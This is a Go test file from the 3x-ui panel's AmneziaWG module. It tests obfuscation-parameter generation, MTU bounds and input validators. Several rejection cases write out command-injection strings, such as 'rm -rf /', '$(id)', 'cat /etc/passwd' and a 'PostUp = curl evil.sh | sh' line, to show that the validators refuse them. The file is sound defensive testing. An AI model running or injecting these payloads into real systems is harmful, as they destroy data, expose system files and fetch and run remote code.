Files
3x-ui/internal/amneziawg/params_test.go
T
MHSanaei 425a2bbf08 fix(amneziawg): bound what a handshake allocates and the tunnel MTU
Every handshake initiation builds Jc junk packets of Jmin..Jmax bytes
and the I1-I5 signature packets, and the limits allowed the full uint32
range and lengths of any size, so one connection made the embedded
device allocate without bound. The MTU reaches the device as an int32
and a wider value made it panic. Both ended the whole panel at the next
connection, after every restart.

Jc is now at most 128, Jmin/Jmax and each signature packet at most one
65535-byte datagram, and the MTU at most 65535. Saves refuse more, the
device setup refuses rows stored before, and the stored MTU is capped
where it is read. The form schemas carry the same limits.
2026-10-31 14:50:18 +01:00

565 lines
19 KiB
Go

package amneziawg
import (
"encoding/base64"
"strconv"
"strings"
"testing"
)
func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
for range 200 {
o := GenerateObfuscation31()
if o.Jc < 3 || o.Jc > 6 {
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
}
if o.Jmin < 40 || o.Jmin > 89 {
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
}
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
}
if o.S1 < 15 || o.S1 > 150 {
t.Fatalf("S1 = %d, want [15,150]", o.S1)
}
if o.S2 < 15 || o.S2 > 150 {
t.Fatalf("S2 = %d, want [15,150]", o.S2)
}
if o.S1+56 == o.S2 {
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
}
if o.S3 < 12 || o.S3 > 55 {
t.Fatalf("S3 = %d, want [12,55]", o.S3)
}
if o.S4 < 12 || o.S4 > 27 {
t.Fatalf("S4 = %d, want [12,27]", o.S4)
}
if o.HeaderProtectionKey != "" {
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("generated set failed its own validation: %v", err)
}
}
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
if err := validateUintRange(h, 0); err != nil {
t.Fatalf("%s = %q invalid: %v", name, h, err)
}
if h == "" {
t.Fatalf("%s is empty, want a generated range", name)
}
}
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
}
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
if err != nil || n < 32 || n > 256 {
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
}
for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
if v != "" {
t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
}
}
key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
}
assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
}
rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
if rjLo < rkHi+30 {
t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
}
assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
if !o.RandomTrailers || !o.DisableCookies {
t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
}
}
}
// assertRangeWithin parses a "lo-hi" value and fails unless
// min <= lo <= hi <= max, returning the parsed bounds.
func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
t.Helper()
lo, hi, ok := parseUintRange(v)
if !ok || !strings.Contains(v, "-") {
t.Fatalf("%s = %q, want a lo-hi range", name, v)
}
if lo < min || hi > max || lo > hi {
t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
}
return lo, hi
}
func TestGenerateHValuesDistinct(t *testing.T) {
for range 50 {
h := generateHValues()
var prev int64
for i, v := range h {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil {
t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
}
if n <= prev {
t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
}
prev = n
}
}
}
func validObfuscation() Obfuscation31 {
return GenerateObfuscation31()
}
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
for range 50 {
if err := ValidateObfuscation(validObfuscation()); err != nil {
t.Fatalf("generated obfuscation set rejected: %v", err)
}
}
}
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
o := validObfuscation()
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
}
}
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
o := validObfuscation()
o.Jmin, o.Jmax = 50, 10
if err := ValidateObfuscation(o); err == nil {
t.Fatal("Jmin > Jmax must be rejected")
}
}
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
o := validObfuscation()
o.S3 = 65536
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S3 past uint16 must be rejected: amneziawg-go's UAPI parser refuses it")
}
o = validObfuscation()
o.S4 = 33
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S4 > 32 must be rejected")
}
o = validObfuscation()
o.S3, o.S4 = -1, -1
if err := ValidateObfuscation(o); err == nil {
t.Fatal("negative S3/S4 must be rejected")
}
}
// Amnezia Premium ships S3=1045; 1636 is the largest cookie padding every platform can receive.
func TestValidateServerObfuscationAcceptsLargeS3(t *testing.T) {
for _, s3 := range []int{1045, 1636} {
o := validObfuscation()
o.S3 = s3
if err := ValidateServerObfuscation(o); err != nil {
t.Fatalf("S3=%d must be accepted: %v", s3, err)
}
}
}
func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
for field, set := range map[string]func(o *Obfuscation31){
"S1": func(o *Obfuscation31) { o.S1 = 11 },
"S2": func(o *Obfuscation31) { o.S2 = 11 },
"S3": func(o *Obfuscation31) { o.S3 = 11 },
"S4": func(o *Obfuscation31) { o.S4 = 11 },
} {
o := validObfuscation()
set(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
}
}
o := validObfuscation()
o.HeaderProtectionKey = ""
o.S3, o.S4 = 8, 4
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
}
}
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
o := validObfuscation()
o.S1 = 30
o.S2 = o.S1 + 56
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
}
}
func TestValidateObfuscationRejectsBadH(t *testing.T) {
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
for _, h := range cases {
o := validObfuscation()
o.H1 = h
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H1 = %q must be rejected", h)
}
}
}
func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
o := validObfuscation()
o.HeaderProtectionKey = ""
o.ContentPaddingAddition = ""
o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
o.RandomTrailers, o.DisableCookies = false, false
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
}
}
func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
cases := []struct {
name string
mutate func(o *Obfuscation31)
}{
{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
{"rekey max not below reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "100-200"
o.RejectAfterTime = "200-300"
}},
{"single rekey value at reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "180"
o.RejectAfterTime = "180-300"
}},
{"embedded newline splits the config line", func(o *Obfuscation31) {
o.RekeyAfterTime = "110\n-140"
o.RejectAfterTime = "190-250"
}},
{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
o.RekeyAfterTime = ""
o.RejectAfterTime = "30-60"
}},
{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
o.RekeyAfterTime = "200-300"
o.RejectAfterTime = ""
}},
}
for _, c := range cases {
o := validObfuscation()
c.mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
cases := []struct {
name string
key string
}{
{"not base64", "not!!!base64"},
{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
{"control characters", "AAAA\nBBBB"},
// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
// only the explicit control-character check can catch the line wrap.
{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
}
for _, c := range cases {
o := validObfuscation()
o.HeaderProtectionKey = c.key
if err := ValidateObfuscation(o); err == nil {
t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
}
}
}
func TestCanonicalizeUintRange(t *testing.T) {
cases := []struct{ in, want string }{
{"110 - 140", "110-140"},
{" 120 ", "120"},
{" ", ""},
{"", ""},
{"110-140", "110-140"},
}
for _, c := range cases {
if got := CanonicalizeUintRange(c.in); got != c.want {
t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
}
}
}
func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
o := validObfuscation()
o.ContentPaddingAddition = "32"
o.RekeyAfterTime = "120"
o.RejectAfterTime = "180"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
}
}
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
if err := ValidateInterfaceName(name); err != nil {
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
}
}
}
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
cases := []string{
"eth0 -j ACCEPT; rm -rf /",
"eth0`whoami`",
"eth0$(id)",
"eth0|cat /etc/passwd",
"eth0\nMASQUERADE",
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
}
for _, name := range cases {
if err := ValidateInterfaceName(name); err == nil {
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
}
}
}
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0", 24},
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
{"192.168.5.10", 32},
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
}
}
}
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
{"not-an-ip", 24},
{"", 24},
{"fd86::1", 64}, // IPv6, not IPv4
{"10.8.1.0", 33}, // cidr out of range
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
// The plain 1420 default left no headroom for s4: it put full-size packets at
// 1480+S4 on the wire and fragmented every one of them once S4 passed 20.
func TestEffectiveMTUKeepsFullSizePacketsUnfragmented(t *testing.T) {
t.Parallel()
// 20 IPv4 + 8 UDP + 16 transport header + 16 poly1305 tag.
const encapOverhead = 60
const hostLinkMTU = 1500
for s4 := 0; s4 <= 32; s4++ {
mtu := EffectiveMTU(0, s4)
if wire := mtu + encapOverhead + s4; wire > hostLinkMTU {
t.Errorf("s4=%d: MTU %d puts a full-size transport packet at %d bytes on the wire, over the %d-byte host link", s4, mtu, wire, hostLinkMTU)
}
}
}
// TestEffectiveMTUPrefersTheAdminsValue: the S4-aware default is a fallback,
// not an override -- an explicit MTU must survive untouched.
func TestEffectiveMTUPrefersTheAdminsValue(t *testing.T) {
t.Parallel()
if got := EffectiveMTU(1380, 27); got != 1380 {
t.Errorf("EffectiveMTU(1380, 27) = %d, want the configured 1380", got)
}
if got := EffectiveMTU(0, 27); got != DefaultMTU-27 {
t.Errorf("EffectiveMTU(0, 27) = %d, want %d", got, DefaultMTU-27)
}
if got := EffectiveMTU(0, 0); got != DefaultMTU {
t.Errorf("EffectiveMTU(0, 0) = %d, want %d", got, DefaultMTU)
}
if got := EffectiveMTU(-5, 12); got != DefaultMTU-12 {
t.Errorf("a nonsense configured MTU must fall back, got %d", got)
}
}
// TestValidateObfuscationRejectsOutOfRangeJunkAndPadding pins the widths
// amneziawg-go's UAPI actually parses: uint32 for jc/jmin/jmax, uint16 for s1-s3.
func TestValidateObfuscationRejectsOutOfRangeJunkAndPadding(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
tests := []struct {
name string
mut func(*Obfuscation31)
}{
{"S1 over uint16", func(o *Obfuscation31) { o.S1 = 65536 }},
{"S2 over uint16", func(o *Obfuscation31) { o.S2 = 70000 }},
{"negative Jc", func(o *Obfuscation31) { o.Jc = -1 }},
{"negative Jmin and Jmax", func(o *Obfuscation31) { o.Jmin, o.Jmax = -5, -1 }},
{"Jc over uint32", func(o *Obfuscation31) { o.Jc = 5000000000 }},
{"negative S1", func(o *Obfuscation31) { o.S1 = -1 }},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
o := base
tt.mut(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatal("ValidateObfuscation accepted a value amneziawg-go's UAPI parser rejects, so the inbound would save and then fail to apply")
}
})
}
if err := ValidateObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 65535, S2: 30, S3: 20, S4: 20}); err != nil {
t.Fatalf("S1 at the uint16 maximum must stay valid for an outbound: %v", err)
}
}
// An inbound's handshakes must fit iOS's 1700-byte buffer: 148+S1, 92+S2 and 64+S3.
func TestValidateServerObfuscationBoundsHandshakesByTheIOSBuffer(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
for name, mut := range map[string]func(*Obfuscation31){
"S1 init over 1700 bytes": func(o *Obfuscation31) { o.S1 = 1553 },
"S2 response over 1700 bytes": func(o *Obfuscation31) { o.S2 = 1609 },
"S3 cookie over 1700 bytes": func(o *Obfuscation31) { o.S3 = 1637 },
} {
o := base
mut(&o)
if err := ValidateServerObfuscation(o); err == nil {
t.Fatalf("%s: an iOS client could never receive it, so the inbound must not save", name)
}
}
// 148+1552 and 92+1608 are exactly 1700; Amnezia Premium ships S1=284 S2=659.
for _, s := range [][2]int{{1552, 30}, {20, 1608}, {284, 659}} {
if err := ValidateServerObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: s[0], S2: s[1], S3: 20, S4: 20}); err != nil {
t.Fatalf("S1=%d S2=%d must stay valid: %v", s[0], s[1], err)
}
}
}
// amneziawg-go refuses the whole device when H1-H4 overlap ("headers must not overlap",
// device/uapi.go); 1-4 alone are legal and the engine's own default.
func TestValidateObfuscationHOverlap(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
reject := [][4]string{
{"100-200", "150-300", "400", "500"},
{"7", "7", "8", "9"},
{"3", "", "", ""}, // blank H3 keeps the engine default 3
}
for _, h := range reject {
o := base
o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H=%v overlaps, amneziawg-go rejects it, so the inbound must not save", h)
}
}
accept := [][4]string{{"1", "2", "3", "4"}, {"", "", "", ""}, {"5-10", "11-20", "21", "22-30"}}
for _, h := range accept {
o := base
o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("H=%v must be accepted: %v", h, err)
}
}
}
// TestValidateObfuscationRejectsMalformedSignaturePackets covers I1-I5, whose
// "<tag value>" chain amneziawg-go parses with newObfChain (device/obf.go).
func TestValidateObfuscationRejectsMalformedSignaturePackets(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
bad := []string{"<rand 100>", "<r 100", "<>", "< >", "<r 10><nope 2>"}
for _, spec := range bad {
t.Run("reject "+spec, func(t *testing.T) {
o := base
o.I1 = spec
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("ValidateObfuscation accepted I1=%q, which newObfChain rejects", spec)
}
})
}
good := []string{"", "<r 100>", "<b ff00><r 10>", "<t><rc 5>", "no tags at all"}
for _, spec := range good {
t.Run("accept "+spec, func(t *testing.T) {
o := base
o.I5 = spec
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("ValidateObfuscation rejected valid I5=%q: %v", spec, err)
}
})
}
}
// Each handshake initiation sends Jc junk packets and the I1-I5 packets, allocated from
// these values; unbounded, one connection (an unauthenticated peer) killed the panel.
func TestValidateObfuscationBoundsWhatAHandshakeAllocates(t *testing.T) {
for name, mutate := range map[string]func(*Obfuscation31){
"jc past the documented range": func(o *Obfuscation31) { o.Jc = maxJunkPackets + 1 },
"jmax past a datagram": func(o *Obfuscation31) { o.Jmax = maxPreamblePacket + 1 },
"random bytes past a datagram": func(o *Obfuscation31) { o.I1 = "<r 70000>" },
"negative length": func(o *Obfuscation31) { o.I2 = "<r -1>" },
"spec past a datagram": func(o *Obfuscation31) { o.I3 = "<r 40000><rc 40000>" },
} {
o := validObfuscation()
mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s: accepted", name)
}
}
o := validObfuscation()
o.I1 = "<b 0xf6ab3267fa><r 1200><t>"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("an ordinary I1 was refused: %v", err)
}
}
// amneziawg-go stores the MTU as an int32; a wider value wraps and the device panics.
func TestMTUIsBoundedWhereItIsSavedAndWhereItIsRead(t *testing.T) {
if err := ValidateMTU(MaxMTU + 1); err == nil {
t.Fatal("an MTU past 65535 was accepted")
}
if got := EffectiveMTU(1<<31, 0); got != MaxMTU {
t.Fatalf("EffectiveMTU(2^31) = %d, want a stored oversized value capped at %d", got, MaxMTU)
}
}